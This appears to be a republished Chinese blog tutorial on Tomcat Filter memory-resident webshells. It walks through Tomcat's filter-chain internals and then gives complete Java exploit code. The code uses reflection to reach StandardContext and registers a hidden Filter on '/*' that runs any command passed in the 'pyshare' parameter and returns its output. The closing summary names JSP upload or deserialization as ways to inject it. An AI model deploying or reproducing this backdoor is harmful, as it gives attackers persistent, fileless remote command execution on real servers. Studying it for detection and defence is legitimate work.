Filter記憶體馬
0x01Filter機制分析
- 當 Servlet 容器開始呼叫某個 Servlet 程式時,如果發現已經注冊了一個 Filter 程式來對該 Servlet 進行攔截,那么容器不再直接呼叫 Servlet 的 service 方法,而是呼叫 Filter 的 doFilter 方法,再由 doFilter 方法決定是否去激活 service 方法,
- 但在 Filter.doFilter 方法中不能直接呼叫 Servlet 的 service 方法,而是呼叫 FilterChain.doFilter 方法來激活目標 Servlet 的 service 方法,FilterChain 物件時通過 Filter.doFilter 方法的引數傳遞進來的,
- 只要在 Filter.doFilter 方法中呼叫 FilterChain.doFilter 方法的陳述句前后增加某些程式代碼,這樣就可以在 Servlet 進行回應前后實作某些特殊功能
我們創建一個Filter來進行動態除錯
public class Filterdemo1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("構造初始化完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執行了過濾操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
System.out.println("執行了銷毀操作");
}
}
在filterChain.doFilter(servletRequest,servletResponse);設定斷點
步入后是執行doFilter方法繼續步進
這個時候直接跳到了最后
繼續步入,發現這個時候我們有個叫做filters的屬性,然后里面有兩個物件一個是我們自己創建的filterdemo另一個是一個叫tomcat websocket filter的物件,可以從名字中看出來tomcat會自動創建一個filter

看后面有個變數filters

追進去隨后出來發現我們拿到的第一個filter使我們的filter繼續往下走


隨后呼叫了doFilter方法

繼續往下走隨后又回到了開始的地方

這個時候pos就等于2了代表我們拿到就是Tomcat WebScoket

步入到后面就呼叫了servlet的service方法

總體來說
執行的順序就是那個filter鏈子然后tomcat會自動的再后面呼叫Tomcat自帶的filter就會呼叫到serlvet
0x02Filter寫馬分析
? 分析之前先確定一下我們的目的我們的目的是寫一個filter馬,所以要去搞定怎么用我們傳入的引數去創建一個filter
0x1創建filter

這些invoke是執行函式我們在最遠的地方設定一個斷點然后一步往前走發現,
我們看到現在的類是 StandardEngineValve,對應的 Pipeline 就是 EnginePipeline;它進行了 invoke() 方法的呼叫,這個 invoke() 方法的呼叫的目的地是 AbstractAccessLogValve 類的 invoke() 方法,其實這一步已經安排了一個 request, wrapper, servlet 傳遞的順序,然后就網上一直呼叫
這里用個師傅的圖:

隨后我們看dofilter是怎么呼叫的
看到我們的FilterChain是怎么創建的


在這里是先判斷了 FilterMaps 是否為空,若為空則會呼叫context.findFilterMaps()從StandardContext尋找并且回傳一個FilterMap陣列,看后面的構造

遍歷StandardContext.filterMaps得到filter與URL的映射關系并通過,然后通過一系列的匹配把它加入到StandardContext.filterConfigs隨后呼叫findFilterConfig把這個資料加入到filter鏈里面去

0x2構造分析
流程很清晰,Tomcat會通過invoke方法創建一個filterchain然后doFilter() —-> internalDoFilter() —-> doFilter()這樣執行一個doFilter判斷一次,最后一個會跳到servlet.service(),
然后filter的創建思路是
我們攻擊的思路就是 createFilterChain() 這個方法會判斷filterMaps是否為空,如果是空的話回去StandardContext尋找并且回傳一個FilterMap陣列,遍歷StandardContext.filterMaps得到filter與URL的映射關系然后用matchDispatcher()``matchFilterURL()方法進行匹配,匹配成功后,還需判斷StandardContext.filterConfigs中,是否存在對應filter的實體,當實體不為空時通過addFilter方法,將管理filter實體的filterConfig添加入filterChain物件
這樣說下來就是我們要解決兩個點一個是filtermaps,和filterconfigs都要加入我們構造的filter
而這個 filterMaps 中的資料對應 web.xml 中的 filter-mapping 標簽,對應的是名字和映射路徑,然后就是想辦法給它加資料了
然后在類StandardContext 里面有這兩個方法可以直接加進去這個資料

這里的改filtermaps就是更改webxml里面的配置看一下
StandardContext 這個類是一個容器類,它負責存盤整個 Web 應用程式的資料和物件,并加載了 web.xml 中配置的多個 Servlet、Filter 物件以及它們的映射關系,
里面有三個和Filter有關的成員變數:
filterMaps變數:包含所有過濾器的URL映射關系
filterDefs變數:包含所有過濾器包括實體內部等變數
filterConfigs變數:包含所有與過濾器對應的filterDef資訊及過濾器實體,進行過濾器進行管理
filterConfigs 成員變數是一個HashMap物件,里面存盤了filter名稱與對應的ApplicationFilterConfig物件的鍵值對,在ApplicationFilterConfig物件中則存盤了Filter實體以及該實體在web.xml中的注冊資訊,
存在的包含關系

filterDefs 成員變數成員變數是一個HashMap物件,存盤了filter名稱與相應FilterDef的物件的鍵值對,而FilterDef物件則存盤了Filter包括名稱、描述、類名、Filter實體在內等與filter自身相關的資料
filterMaps 中的FilterMap則記錄了不同filter與UrlPattern的映射關系
0x03exp構造
這里我怎么去動態的寫入馬呢
-
先去獲取
StandardContext- 獲取
filterConfigs
- 獲取
-
構造惡意的filter
- 構造一個filterDef
- FilterMaps物件
-
然后把filter,filterDef,FilterMaps都傳入到filterConfigs中
0x1獲取StandrdContext
ServletContext servletContext = req.getServletContext(); ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext; Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade); Field field = ApplicationContext.class.getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = null; standardContext = (StandardContext) field.get(applicationContext); Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); Map configs = (Map) filterConfigs.get(standardContext);解釋一下:在tomcat中ServletContext的實作是ApplicationContext,在Web應用中,獲取的ServletContext實際上是ApplicationContextFacade的物件,對ApplicationContext進行了封裝,而ApplicationContext實體中又包含了StandardContext實體,,
拿的順序就是
ServletContext----ApplicationContextFacade------ApplicationContext-----StandardContext-----filterConfigs
0x2寫馬
寫馬,在dofilter中寫
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter("pyshare")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } }反射獲取FilterMap并且設定攔截路徑,并呼叫addFilterMapBefore將FilterMap添加進去
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); filterMap.addURLPattern("/*"); /** * 將filtermap 添加到 filterMaps 中的第一個位置 */ standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); configs.put(name,filterConfig);0x3完整exp
public class filtershell2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req,resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
ServletContext servletContext = req.getServletContext();
ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
Field field = ApplicationContext.class.getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = null;
standardContext = (StandardContext) field.get(applicationContext);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map configs = (Map) filterConfigs.get(standardContext);
String name ="white_romm";
if (configs.get(name)==null){
Filter filter=new Filter(){
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("pyshare")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
filterMap.addURLPattern("/*");
/**
* 將filtermap 添加到 filterMaps 中的第一個位置
*/
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
configs.put(name,filterConfig);
}
} catch (IllegalAccessException | NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
}
}
}
把這個物件打進tomcat然后訪問一下我們的servlet的路徑shell之后無論在那個路徑使用馬子都可以pyshare

0x04小結
總結下來就是要去獲取StandardContext,然后利用反射的原理往里面注入一個Servlet,表現形式為 Filter,具體的實施可以是上傳 .jsp 檔案,也可以反序列化注入物件,比如說我們的cc11就可用加載位元組碼檔案把他寫到靜態代碼塊中,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539514.html
標籤:其他
上一篇:源代碼安全保障指南
